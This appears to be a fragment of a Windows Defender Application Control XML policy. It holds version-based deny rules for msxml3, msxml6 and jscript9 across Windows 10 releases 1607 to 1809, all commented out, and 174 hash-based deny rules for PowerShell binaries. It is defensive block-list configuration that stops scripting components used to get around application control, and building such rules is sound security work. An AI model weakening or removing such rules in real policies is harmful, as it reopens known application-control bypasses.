      <! -- jscript9.dll pick correct version based on release you are supporting -->
      <! -- RS1 Windows 1607
      <Deny  ID="ID_DENY_MSXML3"        FriendlyName="msxml3.dll"         FileName="msxml3.dll" MinimumFileVersion ="8.110.14393.2550"/>
      <Deny  ID="ID_DENY_MSXML6"        FriendlyName="msxml6.dll"         FileName="msxml6.dll" MinimumFileVersion ="6.30.14393.2550"/>
      <Deny  ID="ID_DENY_JSCRIPT9"      FriendlyName="jscript9.dll"       FileName="jscript9.dll" MinimumFileVersion ="11.0.14393.2607"/>
      -->
      <! -- RS2 Windows 1703
      <Deny  ID="ID_DENY_MSXML3"        FriendlyName="msxml3.dll"         FileName="msxml3.dll" MinimumFileVersion ="8.110.15063.1386"/>
      <Deny  ID="ID_DENY_MSXML6"        FriendlyName="msxml6.dll"         FileName="msxml6.dll" MinimumFileVersion ="6.30.15063.1386"/>
      <Deny  ID="ID_DENY_JSCRIPT9"      FriendlyName="jscript9.dll"       FileName="jscript9.dll" MinimumFileVersion ="11.0.15063.1445"/>
      -->
      <! -- RS3 Windows 1709
      <Deny  ID="ID_DENY_MSXML3"        FriendlyName="msxml3.dll"         FileName="msxml3.dll" MinimumFileVersion ="8.110.16299.725"/>
      <Deny  ID="ID_DENY_MSXML6"        FriendlyName="msxml6.dll"         FileName="msxml6.dll" MinimumFileVersion ="6.30.16299.725"/>
      <Deny  ID="ID_DENY_JSCRIPT9"      FriendlyName="jscript9.dll"       FileName="jscript9.dll" MinimumFileVersion ="11.0.16299.785"/>
      -->
      <! -- RS4 Windows 1803
      <Deny  ID="ID_DENY_MSXML3"        FriendlyName="msxml3.dll"         FileName="msxml3.dll" MinimumFileVersion ="8.110.17134.344"/>
      <Deny  ID="ID_DENY_MSXML6"        FriendlyName="msxml6.dll"         FileName="msxml6.dll" MinimumFileVersion ="6.30.17134.344"/>
      <Deny  ID="ID_DENY_JSCRIPT9"      FriendlyName="jscript9.dll"       FileName="jscript9.dll" MinimumFileVersion ="11.0.17134.406"/>
      -->
      <! -- RS5 Windows 1809
      <Deny  ID="ID_DENY_MSXML3"        FriendlyName="msxml3.dll"         FileName="msxml3.dll" MinimumFileVersion ="8.110.17763.54"/>
      <Deny  ID="ID_DENY_MSXML6"        FriendlyName="msxml6.dll"         FileName="msxml6.dll" MinimumFileVersion ="6.30.17763.54"/>
      <Deny  ID="ID_DENY_JSCRIPT9"      FriendlyName="jscript9.dll"       FileName="jscript9.dll" MinimumFileVersion ="11.0.17763.133"/>
      -->
      <Deny ID="ID_DENY_D_1" FriendlyName="Powershell 1" Hash="02BE82F63EE962BCD4B8303E60F806F6613759C6"/> 
      <Deny ID="ID_DENY_D_2" FriendlyName="Powershell 2" Hash="13765D9A16CC46B2113766822627F026A68431DF"/> 
      <Deny ID="ID_DENY_D_3" FriendlyName="Powershell 3" Hash="148972F670E18790D62D753E01ED8D22B351A57E45544D88ACE380FEDAF24A40"/> 
      <Deny ID="ID_DENY_D_4" FriendlyName="Powershell 4" Hash="29DF1D593D0D7AB365F02645E7EF4BCCA060763A"/> 
      <Deny ID="ID_DENY_D_5" FriendlyName="Powershell 5" Hash="2E3C47BBE1BA99842EE187F756CA616EFED61B94"/> 
      <Deny ID="ID_DENY_D_6" FriendlyName="Powershell 6" Hash="38DC1956313B160696A172074C6F5DA9852BF508F55AFB7FA079B98F2849AFB5"/> 
      <Deny ID="ID_DENY_D_7" FriendlyName="Powershell 7" Hash="513B625EA507ED9CE83E2FB2ED4F3D586C2AA379"/> 
      <Deny ID="ID_DENY_D_8" FriendlyName="Powershell 8" Hash="71FC552E66327EDAA72D72C362846BD80CB65EECFAE95C4D790C9A2330D95EE6"/> 
      <Deny ID="ID_DENY_D_9" FriendlyName="Powershell 9" Hash="72E4EC687CFE357F3E681A7500B6FF009717A2E9538956908D3B52B9C865C189"/> 
      <Deny ID="ID_DENY_D_10" FriendlyName="Powershell 10" Hash="74E207F539C4EAC648A5507EB158AEE9F6EA401E51808E83E73709CFA0820FDD"/> 
      <Deny ID="ID_DENY_D_11" FriendlyName="Powershell 11" Hash="75288A0CF0806A68D8DA721538E64038D755BBE74B52F4B63FEE5049AE868AC0"/> 
      <Deny ID="ID_DENY_D_12" FriendlyName="Powershell 12" Hash="7DB3AD53985C455990DD9847DE15BDB271E0C8D1"/> 
      <Deny ID="ID_DENY_D_13" FriendlyName="Powershell 13" Hash="84BB081141DA50B3839CD275FF34854F53AECB96CA9AEB8BCD24355C33C1E73E"/> 
      <Deny ID="ID_DENY_D_14" FriendlyName="Powershell 14" Hash="86DADE56A1DBAB6DDC2769839F89244693D319C6"/> 
      <Deny ID="ID_DENY_D_15" FriendlyName="Powershell 15" Hash="BD3139CE7553AC7003C96304F08EAEC2CDB2CC6A869D36D6F1E478DA02D3AA16"/> 
      <Deny ID="ID_DENY_D_16" FriendlyName="Powershell 16" Hash="BE3FFE10CDE8B62C3E8FD4D8198F272B6BD15364A33362BB07A0AFF6731DABA1"/> 
      <Deny ID="ID_DENY_D_17" FriendlyName="Powershell 17" Hash="C1196433541B87D22CE2DD19AAAF133C9C13037A"/> 
      <Deny ID="ID_DENY_D_18" FriendlyName="Powershell 18" Hash="C6C073A80A8E76DC13E724B5E66FE4035A19CCA0C1AF3FABBC18E5185D1B66CB"/> 
      <Deny ID="ID_DENY_D_19" FriendlyName="Powershell 19" Hash="CE5EA2D29F9DD3F15CF3682564B0E765ED3A8FE1"/> 
      <Deny ID="ID_DENY_D_20" FriendlyName="Powershell 20" Hash="D027E09D9D9828A87701288EFC91D240C0DEC2C3"/> 
      <Deny ID="ID_DENY_D_21" FriendlyName="Powershell 21" Hash="D2CFC8F6729E510AE5BA9BECCF37E0B49DDF5E31"/> 
      <Deny ID="ID_DENY_D_22" FriendlyName="Powershell 22" Hash="DED853481A176999723413685A79B36DD0F120F9"/> 
      <Deny ID="ID_DENY_D_23" FriendlyName="Powershell 23" Hash="DFCD10EAA2A22884E0A41C4D9E6E8DA265321870"/> 
      <Deny ID="ID_DENY_D_24" FriendlyName="Powershell 24" Hash="F16E605B55774CDFFDB0EB99FAFF43A40622ED2AB1C011D1195878F4B20030BC"/> 
      <Deny ID="ID_DENY_D_25" FriendlyName="Powershell 25" Hash="F29A958287788A6EEDE6035D49EF5CB85EEC40D214FDDE5A0C6CAA65AFC00EEC"/> 
      <Deny ID="ID_DENY_D_26" FriendlyName="Powershell 26" Hash="F875E43E12685ECE0BA2D42D55A13798CE9F1FFDE3CAE253D2529F4304811A52"/> 
      <!-- System.Management.Automation.dll 
      --> 
      <Deny ID="ID_DENY_D_27" FriendlyName="PowerShell 27" Hash="720D826A84284E18E0003526A0CD9B7FF0C4A98A"/> 
      <Deny ID="ID_DENY_D_28" FriendlyName="PowerShell 28" Hash="CB5DF9D0D25571948C3D257882E07C7FA5E768448E0DEBF637E110F9FF575808"/> 
      <Deny ID="ID_DENY_D_29" FriendlyName="PowerShell 29" Hash="3C7265C3393C585D32E509B2D2EC048C73AC5EE6"/> 
      <Deny ID="ID_DENY_D_30" FriendlyName="PowerShell 30" Hash="7F1E03E956CA38CC0C491CB958D6E61A52491269CDB363BC488B525F80C56424"/> 
      <Deny ID="ID_DENY_D_31" FriendlyName="PowerShell 31" Hash="27D86C9B54E1A97399A6DC9C9DF9AE030CB734C8"/> 
      <Deny ID="ID_DENY_D_32" FriendlyName="PowerShell 32" Hash="917BD10E82C6E932F9C63B9BDCCC1D9BF04510CD8491B005CFFD273B48B5CD1E"/> 
      <Deny ID="ID_DENY_D_33" FriendlyName="PowerShell 33" Hash="B3BB2D75AECB34ED316CE54C6D513420186E4950"/> 
      <Deny ID="ID_DENY_D_34" FriendlyName="PowerShell 34" Hash="B734F6269A6738861E1DF98EE0E4E7377FAED10B82AAA9731DA0BB1CB366FCCE"/> 
      <Deny ID="ID_DENY_D_35" FriendlyName="PowerShell 35" Hash="FF378B465F2C8A87B4092F7C1F96399C0156CEEB"/> 
      <Deny ID="ID_DENY_D_36" FriendlyName="PowerShell 36" Hash="9B884CFE78F921042B003574AE30D9E86EE3DCC11E7110A1C92927F13C3F47E6"/> 
      <Deny ID="ID_DENY_D_37" FriendlyName="PowerShell 37" Hash="C7B99E8B59182112A3A14BD39880BDCDDD5C724F"/> 
      <Deny ID="ID_DENY_D_38" FriendlyName="PowerShell 38" Hash="6E585890C7369D6D8DA85C8B6B7411463BAA1ACAE9CE4197E033A46C897B35E5"/> 
      <Deny ID="ID_DENY_D_39" FriendlyName="PowerShell 39" Hash="BA4B3A92123FBCE66398020AFBCC0BCA1D1AAAD7"/> 
      <Deny ID="ID_DENY_D_40" FriendlyName="PowerShell 40" Hash="D8D361E3690676C7FDC483003BFC5C0C39FB16B42DFC881FB8D42A1064740B0B"/> 
      <Deny ID="ID_DENY_D_41" FriendlyName="PowerShell 41" Hash="1EA5104AE1A7A53F9421E0193B749F310B9261D1"/> 
      <Deny ID="ID_DENY_D_42" FriendlyName="PowerShell 42" Hash="66C1B8569019512ACDDC145DA6D348A68DE008BE7C05930AD0EC6927C26061AD"/> 
      <Deny ID="ID_DENY_D_43" FriendlyName="PowerShell 43" Hash="4EB2C3A4B551FC028E00F2E7DA9D0F1E38728571"/> 
      <Deny ID="ID_DENY_D_44" FriendlyName="PowerShell 44" Hash="30EAC589069FB79D540080B04B7FDBB8A9B1DF4E96B9D7C98519E49A1ED56851"/> 
      <Deny ID="ID_DENY_D_45" FriendlyName="PowerShell 45" Hash="E55505B609DD7A22F55C4BA9EDAD5627ECA6A8E8"/> 
      <Deny ID="ID_DENY_D_46" FriendlyName="PowerShell 46" Hash="ABDDA9C1EDA9F2344FB5B79890B7FD854D0E3D28BEC26AE33AAD196948AB642D"/> 
      <Deny ID="ID_DENY_D_47" FriendlyName="PowerShell 47" Hash="A15964475D213FB752B42E7DCDDBF4B14D623D14"/> 
      <Deny ID="ID_DENY_D_48" FriendlyName="PowerShell 48" Hash="61A68B436D828193E0C7B44D2AF83D22A9CB557B90186E4E6AC998CE5E3BFE8A"/> 
      <Deny ID="ID_DENY_D_49" FriendlyName="PowerShell 49" Hash="DB0C4B5CA1CBC3B117AB0439C5937B6A263DFD87"/> 
      <Deny ID="ID_DENY_D_50" FriendlyName="PowerShell 50" Hash="6D4FB385328CA01700092E1CDF75A97123A95120D5F8A9877FFB4D5A8531380B"/> 
      <Deny ID="ID_DENY_D_51" FriendlyName="PowerShell 51" Hash="72F9DCDA6ECDD6906A2538DFE795A2E2CA787BBC"/> 
      <Deny ID="ID_DENY_D_52" FriendlyName="PowerShell 52" Hash="F98FEC4A0306BD398F7FB7F611679B7797D32D54D1F2B35D728C0C7A058153ED"/> 
      <Deny ID="ID_DENY_D_53" FriendlyName="PowerShell 53" Hash="C980B65B86F780AC93B9458E9657291083CFEDA8"/> 
      <Deny ID="ID_DENY_D_54" FriendlyName="PowerShell 54" Hash="F9473493FF53274B8E75EC7E517F324AA0C5644C6F8045D3EF3A1B9A669ECF78"/> 
      <Deny ID="ID_DENY_D_55" FriendlyName="PowerShell 55" Hash="C30355B5E6FA3F793A3CC0A649945829723DD85C"/> 
      <Deny ID="ID_DENY_D_56" FriendlyName="PowerShell 56" Hash="4EB14099165177F0F3A1FACE32E72CF2DD221DB44155E73AFF94CB7DA195EF22"/> 
      <Deny ID="ID_DENY_D_57" FriendlyName="PowerShell 57" Hash="5C6CC1903D3DA2054ECD9A295EEE26F5561E152A"/> 
      <Deny ID="ID_DENY_D_58" FriendlyName="PowerShell 58" Hash="0BF8CAB75DAB712FC848DE7CC7DC5C8A10D666515E7535F89146F45AAAF9EF54"/> 
      <Deny ID="ID_DENY_D_59" FriendlyName="PowerShell 59" Hash="1443E8F56DEE11EEF5B746E3657C2F953FD4F6EA"/> 
      <Deny ID="ID_DENY_D_60" FriendlyName="PowerShell 60" Hash="487CB42795046E885303FC96EA54C3234E1B2072DAEB4F9218C21CC6C39A3223"/> 
      <Deny ID="ID_DENY_D_61" FriendlyName="PowerShell 61" Hash="072D4E33D1478C863DBAB20BF5DFF1A0FB5A9D53"/> 
      <Deny ID="ID_DENY_D_62" FriendlyName="PowerShell 62" Hash="631E091AE7AD2C543EE5755BC9D8DB34683C41E20D9A6CD41C8F07827156D6DB"/> 
      <Deny ID="ID_DENY_D_63" FriendlyName="PowerShell 63" Hash="FD15A313B890369B7D8E26C13B2070AE044FB4D8"/> 
      <Deny ID="ID_DENY_D_64" FriendlyName="PowerShell 64" Hash="AB9886A0993F87C2A39BC7822EE44FD4B4751C530ACF292ACD0319C967FB4F3B"/> 
      <Deny ID="ID_DENY_D_65" FriendlyName="PowerShell 65" Hash="4BAFD867B59328E7BB853148FE6D16B9411D7A12"/> 
      <Deny ID="ID_DENY_D_66" FriendlyName="PowerShell 66" Hash="D1F22B37902C2DD53FA27438436D9D236A196C10C8E492A8F4A14768644592D3"/> 
      <Deny ID="ID_DENY_D_67" FriendlyName="PowerShell 67" Hash="AC53AE4C8AB56D84393D67D820BEBDC3218739D3"/> 
      <Deny ID="ID_DENY_D_68" FriendlyName="PowerShell 68" Hash="49580C9459C3917E6F982C8E0D753D293DFA2E4FD1152F78FF7C73CF8B422507"/> 
      <Deny ID="ID_DENY_D_69" FriendlyName="PowerShell 69" Hash="333678A44D4BEBE9BEA3041FFDA9E2B55B58F1B5"/> 
      <Deny ID="ID_DENY_D_70" FriendlyName="PowerShell 70" Hash="94CBBC3970F01280D98C951BD0C4158D4B09A2BE21B8A27790D9F127B78C6F3F"/> 
      <Deny ID="ID_DENY_D_71" FriendlyName="PowerShell 71" Hash="5F5620DC049FE1F1C2DBAC077A59BA69CF2FF72C"/> 
      <Deny ID="ID_DENY_D_72" FriendlyName="PowerShell 72" Hash="A32C0769F36CAE0B6A7A1B8CCB6B7A75AA8BEB7F49815E96B4E120BFD7527E0A"/> 
      <Deny ID="ID_DENY_D_73" FriendlyName="PowerShell 73" Hash="BDBE541D269EC8235563842D024F9E37883DFB57"/> 
      <Deny ID="ID_DENY_D_74" FriendlyName="PowerShell 74" Hash="441076C7FD0AD481E6AC3198F08BE80EA9EB2926CA81D733F798D03DBEFD683E"/> 
      <Deny ID="ID_DENY_D_75" FriendlyName="PowerShell 75" Hash="FD6FE9143A46F4EBB46E6B46332FA7171002EBF0"/> 
      <Deny ID="ID_DENY_D_76" FriendlyName="PowerShell 76" Hash="85399D84601207AB92C8CA4D7D6E58CB1B0B0B57ED94FA7E5A1191FA1810E223"/> 
      <Deny ID="ID_DENY_D_77" FriendlyName="PowerShell 77" Hash="98FD94A89DCF92A7BEDB51C72BAD1A67650DD6E5"/> 
      <Deny ID="ID_DENY_D_78" FriendlyName="PowerShell 78" Hash="5CE4B042E986DAFEB7E2D2ABFB80376C4DEC325DB23B584B76039EEA6E1A74B1"/> 
      <Deny ID="ID_DENY_D_79" FriendlyName="PowerShell 79" Hash="6BC1E70F0EA84E88AC28BEAF74C10F3ABDF99209"/> 
      <Deny ID="ID_DENY_D_80" FriendlyName="PowerShell 80" Hash="93CB3907D1A9473E8A90593250C4A95EAE3A7066E9D8A57535CBDF82AA4AD4C2"/> 
      <Deny ID="ID_DENY_D_81" FriendlyName="PowerShell 81" Hash="7FCE82DBBC0FE45AFBE3927C323349C32D5A463A"/> 
      <Deny ID="ID_DENY_D_82" FriendlyName="PowerShell 82" Hash="2EDA8CA129E30CB5522C4DCD1E5AFDCA1E9C6447DD7053DACEF18DCDCCF3E2BC"/> 
      <Deny ID="ID_DENY_D_83" FriendlyName="PowerShell 83" Hash="BDB3DAC80667A0B931835D5D658C08F236B413D1"/> 
      <Deny ID="ID_DENY_D_84" FriendlyName="PowerShell 84" Hash="51287BACB692AAC5A8659774D982B304DC0C0B4A4D8F41CBCCD47D69796786DE"/> 
      <Deny ID="ID_DENY_D_85" FriendlyName="PowerShell 85" Hash="9633529CACE25ACCB29EBC5941DE1874903C0297"/> 
      <Deny ID="ID_DENY_D_86" FriendlyName="PowerShell 86" Hash="483A3997D5DA69A51DC7EA368A36C3CA4A5BD56CB08BFD9912BE799005156C18"/> 
      <Deny ID="ID_DENY_D_87" FriendlyName="PowerShell 87" Hash="B3493E30A2C347B550331C86529BDC288EAF8186"/> 
      <Deny ID="ID_DENY_D_88" FriendlyName="PowerShell 88" Hash="9371E2333906441715DE15FEE8A9AA03C4D076CA3C04D9A7AB0CC32189DA66ED"/> 
      <Deny ID="ID_DENY_D_89" FriendlyName="PowerShell 89" Hash="5D4B0794EB973D61CF74A700F11BE84E527E0E51"/> 
      <Deny ID="ID_DENY_D_90" FriendlyName="PowerShell 90" Hash="537DE34A1F4B3F8345D02F5BBA2B063F070A42FC1581AAC2AA91C1D071B14521"/> 
      <Deny ID="ID_DENY_D_91" FriendlyName="PowerShell 91" Hash="F3C75F35F42C1C5B3B4ED888187D6AB4035F994C"/> 
      <Deny ID="ID_DENY_D_92" FriendlyName="PowerShell 92" Hash="AD5678ED0734281973465DD728281A6C0EA146620FF2106A4EEFC7E94622B92F"/> 
      <Deny ID="ID_DENY_D_93" FriendlyName="PowerShell 93" Hash="91C0F76798A9679188C7D93FDEBAF797BDBE41B2"/> 
      <Deny ID="ID_DENY_D_94" FriendlyName="PowerShell 94" Hash="1D9244EAFEDFBFC02E13822E24A476C36FFD362B9D18F6CD195B654A34F946FF"/> 
      <Deny ID="ID_DENY_D_95" FriendlyName="PowerShell 95" Hash="7FCB424E67DDAC49413B45D7DCD636AD70E23B41"/> 
      <Deny ID="ID_DENY_D_96" FriendlyName="PowerShell 96" Hash="7E6F9A738520F78D1E9D0D0883FB07DD9188408CBE7C2937BDE1590F90C61753"/> 
      <Deny ID="ID_DENY_D_97" FriendlyName="PowerShell 97" Hash="A9745E20419EC1C90B23FE965D3C2DF028AF39DC"/> 
      <Deny ID="ID_DENY_D_98" FriendlyName="PowerShell 98" Hash="71B5B58EAA0C90397BC9546BCCA8C657500499CD2087CD7D7E1753D54C07E71D"/> 
      <Deny ID="ID_DENY_D_99" FriendlyName="PowerShell 99" Hash="3E5294910C59394DA93962128968E6C23016A028"/> 
      <Deny ID="ID_DENY_D_100" FriendlyName="PowerShell 100" Hash="DA700D4F58BCEA1D5A9CAD4F20AC725C6A354F9DA40E4F8F95E1C3DC7B84F550"/> 
      <Deny ID="ID_DENY_D_101" FriendlyName="PowerShell 101" Hash="266896FD257AD8EE9FC73B3A50306A573714EA8A"/> 
      <Deny ID="ID_DENY_D_102" FriendlyName="PowerShell 102" Hash="8E36BD08084C73AF674F2DAD568EE3BA2C85769FA7B3400CB62F7A7BD028BE9A"/> 
      <Deny ID="ID_DENY_D_103" FriendlyName="PowerShell 103" Hash="2CB781B3BD79FD277D92332ACA22C04430F9D692"/> 
      <Deny ID="ID_DENY_D_104" FriendlyName="PowerShell 104" Hash="92AE03F0090C0A5DF329B4B3FFEDBA622B0521BA699FA303C24120A30ED4C9E6"/> 
      <Deny ID="ID_DENY_D_105" FriendlyName="PowerShell 105" Hash="D82583F7D5EA477C94630AC5AAEB771C85BD4B0A"/> 
      <Deny ID="ID_DENY_D_106" FriendlyName="PowerShell 106" Hash="9B0F39AB233628A971ACEC53029C9B608CAB99868F1A1C5ABE20BC1BD1C2B70E"/> 
      <Deny ID="ID_DENY_D_107" FriendlyName="PowerShell 107" Hash="2DF4350DE3C97C9D4FD2973F8C5EA8AE621D22A8"/> 
      <Deny ID="ID_DENY_D_108" FriendlyName="PowerShell 108" Hash="015CE571E8503A353E2250D4D0DA19493B3311F3437527E6DDD2D2B6439FA2EB"/> 
      <Deny ID="ID_DENY_D_109" FriendlyName="PowerShell 109" Hash="080DEC3B15AD5AFE9BF3B0943A36285E92BAF469"/> 
      <Deny ID="ID_DENY_D_110" FriendlyName="PowerShell 110" Hash="F1391E78F17EA6097906B99C6F4F0AE8DD2E519856F837A3BCC58FBB87DAAE62"/> 
      <Deny ID="ID_DENY_D_111" FriendlyName="PowerShell 111" Hash="F87C726CCB5E64C6F363C21255935D5FEA9E4A0E"/> 
      <Deny ID="ID_DENY_D_112" FriendlyName="PowerShell 112" Hash="B7B42C3C8C61FD2616C16BBCF36EA15EC26A67536E94764D72A91CE04B89AAA4"/> 
      <Deny ID="ID_DENY_D_113" FriendlyName="PowerShell 113" Hash="25F52340199A0EA352C8B1A7014BCB610B232523"/> 
      <Deny ID="ID_DENY_D_114" FriendlyName="PowerShell 114" Hash="64D6D1F3A053908C5635BD6BDA36BC8E72D518C7ECE8DA761C0DDE70C50BB632"/> 
      <Deny ID="ID_DENY_D_115" FriendlyName="PowerShell 115" Hash="029198F05598109037A0E9E332EC052317E834DA"/> 
      <Deny ID="ID_DENY_D_116" FriendlyName="PowerShell 116" Hash="70B4BB6C2B7E9237FB14ABBC94955012285E2CAA74F91455EE52809CDAD4E7FC"/> 
      <Deny ID="ID_DENY_D_117" FriendlyName="PowerShell 117" Hash="A4390EF2D77F76DC4EFE55FF74EE1D06C303FDAE"/> 
      <Deny ID="ID_DENY_D_118" FriendlyName="PowerShell 118" Hash="3246A0CB329B030DA104E04B1A0728DE83724B08C724FD0238CE4578A0245576"/> 
      <Deny ID="ID_DENY_D_119" FriendlyName="PowerShell 119" Hash="89CEAB6518DA4E7F75B3C75BC04A112D3637B737"/> 
      <Deny ID="ID_DENY_D_120" FriendlyName="PowerShell 120" Hash="6581E491FBFF954A1A4B9CEA69B63951D67EB56DF871ED8B055193595F042B0D"/> 
      <Deny ID="ID_DENY_D_121" FriendlyName="PowerShell 121" Hash="00419E981EDC8613E600C939677F7B460855BF7E"/> 
      <Deny ID="ID_DENY_D_122" FriendlyName="PowerShell 122" Hash="61B724BCFC3DA1CC1583DB0BC42EFE166E92D8D3CE91E58A29F7AEBEFAE2149F"/> 
      <Deny ID="ID_DENY_D_123" FriendlyName="PowerShell 123" Hash="272EF88BBA9B4B54D242FFE1E96D07DBF53497A0"/> 
      <Deny ID="ID_DENY_D_124" FriendlyName="PowerShell 124" Hash="AFC0968EDCE9E5FC1BC392382833EBEF3265B32D3ECBB529D89A1DF33A31E9BD"/> 
      <Deny ID="ID_DENY_D_125" FriendlyName="PowerShell 125" Hash="CD9D9789B3B31562C4BE44B6BEEA8815C5EDAE1F"/> 
      <Deny ID="ID_DENY_D_126" FriendlyName="PowerShell 126" Hash="FCAF8DC3C7A5D3B29B19A9C5F89324BF65B50C440AC0316B08532CEA2F1FF9B0"/> 
      <Deny ID="ID_DENY_D_127" FriendlyName="PowerShell 127" Hash="941D0FD47887035A04E17F46DE6C4004D7FD8871"/> 
      <Deny ID="ID_DENY_D_128" FriendlyName="PowerShell 128" Hash="4AD6DC7FF0A2E776CE7F27B4E3D3C1C380CA3548DFED565429D88C3BBE61DD0F"/> 
      <Deny ID="ID_DENY_D_129" FriendlyName="PowerShell 129" Hash="421D1142105358B8360454E43FD15767DA111DBA"/> 
      <Deny ID="ID_DENY_D_130" FriendlyName="PowerShell 130" Hash="692CABD40C1EDFCB6DC50591F31FAE30848E579D6EF4D2CA0811D06B086CF8BE"/> 
      <Deny ID="ID_DENY_D_131" FriendlyName="PowerShell 131" Hash="AC9F095DD4AE80B124F55541761AA1F35E49A575"/> 
      <Deny ID="ID_DENY_D_132" FriendlyName="PowerShell 132" Hash="0D8A0FB3BF3CF80D44ED20D9F1E7292E9EE5A49ABCE68592DED55A71B0ACAECE"/> 
      <Deny ID="ID_DENY_D_133" FriendlyName="PowerShell 133" Hash="B1CF2A18B281F73FE6685B5CE74D1BA50BE9AFE5"/> 
      <Deny ID="ID_DENY_D_134" FriendlyName="PowerShell 134" Hash="095B79953F9E3E2FB721693FBFAD5841112D592B6CA7EB2055B262DEB7C7008A"/> 
      <Deny ID="ID_DENY_D_135" FriendlyName="PowerShell 135" Hash="128D7D03E4B85DBF95427D72EFF833DAB5E92C33"/> 
      <Deny ID="ID_DENY_D_136" FriendlyName="PowerShell 136" Hash="EACFC615FDE29BD858088AF42E0917E4B4CA5991EFB4394FB3129735D7299235"/> 
      <Deny ID="ID_DENY_D_137" FriendlyName="PowerShell 137" Hash="47D2F87F2D2D516D712A156421F0C2BD285200E9"/> 
      <Deny ID="ID_DENY_D_138" FriendlyName="PowerShell 138" Hash="8CACA1828E7770DADF21D558976D415AC7BDA16D58926308FD5E9D5087F4B0E6"/> 
      <Deny ID="ID_DENY_D_139" FriendlyName="PowerShell 139" Hash="CD9D70B0107801567EEADC4ECD74511A1A6FF4FE"/> 
      <Deny ID="ID_DENY_D_140" FriendlyName="PowerShell 140" Hash="9C96396EFCC9DC09F119DE8695CB3372F82DB46D23A1B7A88BD86CBE814233E1"/> 
      <Deny ID="ID_DENY_D_141" FriendlyName="PowerShell 141" Hash="233E3B5108A43239C6C13292043DED0567281AF9"/> 
      <Deny ID="ID_DENY_D_142" FriendlyName="PowerShell 142" Hash="6EDF19CC53EA2064CE108957343EB3505359CF05BD6955C7502AF565BD761702"/> 
      <Deny ID="ID_DENY_D_143" FriendlyName="PowerShell 143" Hash="CD725B606888E5C5426FEAB44E2CC7722DFE5411"/> 
      <Deny ID="ID_DENY_D_144" FriendlyName="PowerShell 144" Hash="B20C4F36AE6A3AC323759C81173FACE1B1C112FA5B701C65DCD7313D7CE59907"/> 
      <Deny ID="ID_DENY_D_145" FriendlyName="PowerShell 145" Hash="E5212F1081B5777B88F5C41174ADEDB35B4258CF"/> 
      <Deny ID="ID_DENY_D_146" FriendlyName="PowerShell 146" Hash="F4DE5B5395701F8C94D65D732E4D212E1879C9C84345B46A941965B094F75017"/> 
      <Deny ID="ID_DENY_D_147" FriendlyName="PowerShell 147" Hash="EC41A3FB8D6E3B0F55F6583C14C45B6238753019"/> 
      <Deny ID="ID_DENY_D_148" FriendlyName="PowerShell 148" Hash="76CA6B396796351685198D6189E865AFD7FB9E6C5CEFA9EA0B5F0A9F1FC98D57"/> 
      <Deny ID="ID_DENY_D_149" FriendlyName="PowerShell 149" Hash="3B2B7042A84033CA846AFE472912524F7BAD57E5"/> 
      <Deny ID="ID_DENY_D_150" FriendlyName="PowerShell 150" Hash="2DF95ABEB23DAA0377DFA6360976B69D3CEE7325A9B7571F331D569809FAED8B"/> 
      <Deny ID="ID_DENY_D_151" FriendlyName="PowerShell 151" Hash="7BED2F9C0ADF1597C7EBB79163BDA21D8D7D28CA"/> 
      <Deny ID="ID_DENY_D_152" FriendlyName="PowerShell 152" Hash="44BDD2DADB13E7A8FF6AFCF4AE3E2CC830506D9475B4C2C71D319E169977998F"/> 
      <Deny ID="ID_DENY_D_153" FriendlyName="PowerShell 153" Hash="A1251FA30162B13456A4687495726FF793D511BE"/> 
      <Deny ID="ID_DENY_D_154" FriendlyName="PowerShell 154" Hash="9C15E4DE10DE47ACD393359D523211AD8596C61FE54F2C0664D48E1D249231CE"/> 
      <Deny ID="ID_DENY_D_155" FriendlyName="PowerShell 155" Hash="D835947C84CFBA652B553A77A90475E02291AA5F"/> 
      <Deny ID="ID_DENY_D_156" FriendlyName="PowerShell 156" Hash="B4D6DAA10398D5DA192DFDD75010F428D24762D432934F0E2030D39610D43E12"/> 
      <Deny ID="ID_DENY_D_157" FriendlyName="PowerShell 157" Hash="1F85BBEC1DFC5785B91735A7C561E664F7FE1E94"/> 
      <Deny ID="ID_DENY_D_158" FriendlyName="PowerShell 158" Hash="828F05BFF829019EC0F3082323FEA859C0D71CCE14B5B75C07E7D418EF354269"/> 
      <Deny ID="ID_DENY_D_159" FriendlyName="PowerShell 159" Hash="FC0E23771620B41E6920F2463F49B84307D8BA91"/> 
      <Deny ID="ID_DENY_D_160" FriendlyName="PowerShell 160" Hash="C4FA568C852A46316308A660B80D83A11D41071F1CF4A79847A3F56714CC47AF"/> 
      <Deny ID="ID_DENY_D_161" FriendlyName="PowerShell 161" Hash="D18240AEE8B9B964F6B9CDFC5AFB6C343C286636"/> 
      <Deny ID="ID_DENY_D_162" FriendlyName="PowerShell 162" Hash="7B4C39285569F14AA9799332C542A0796717C5EF9D636BD11B2841450BC6399D"/> 
      <Deny ID="ID_DENY_D_163" FriendlyName="PowerShell 163" Hash="1A16008D330330182AA555B1D3E9BE0B2D6BECBF"/> 
      <Deny ID="ID_DENY_D_164" FriendlyName="PowerShell 164" Hash="D7685E259D0328937487856A3AB68B6D9D420DD4E02541F4D71164DFA65B4644"/> 
      <Deny ID="ID_DENY_D_165" FriendlyName="PowerShell 165" Hash="FBA274406B503B464B349805149E6AA722909CC9"/> 
      <Deny ID="ID_DENY_D_166" FriendlyName="PowerShell 166" Hash="FEBC97ED819C79E54157895457DBA755F182D6330A5103E0663AFA07E01E5CF8"/> 
      <Deny ID="ID_DENY_D_167" FriendlyName="PowerShell 167" Hash="293AF426A39282770387F5EE25CA719A91419A18"/> 
      <Deny ID="ID_DENY_D_168" FriendlyName="PowerShell 168" Hash="A9E655A96A124BC361D9CC5C7663FC033AA6F6609916EFAA76B6A6E9713A0D32"/> 
      <Deny ID="ID_DENY_D_169" FriendlyName="PowerShell 169" Hash="AEBFE7497F4A1947B5CB32650843CA0F85BD56D0"/> 
      <Deny ID="ID_DENY_D_170" FriendlyName="PowerShell 170" Hash="8C385B2C16136C097C96701D2140E014BF454CFA7297BE0C28431DED15339C0F"/> 
      <Deny ID="ID_DENY_D_171" FriendlyName="PowerShell 171" Hash="8FB604CD72701B83BC265D87F52B36C6F14E5DBE"/> 
      <Deny ID="ID_DENY_D_172" FriendlyName="PowerShell 172" Hash="B35AFBA7A897CB882C14A08AFB36A8EC938BDA14DF070234A2CCBDBA8F7DF91C"/> 
      <Deny ID="ID_DENY_D_173" FriendlyName="PowerShell 173" Hash="CE70309DB83C9202F45028EBEC252747F4936E6F"/> 
      <Deny ID="ID_DENY_D_174" FriendlyName="PowerShell 174" Hash="1F6D74FDA1F9EE6BBAC72E7E717A01B9FFC29822561D11175F6809D12215B4ED"/> 
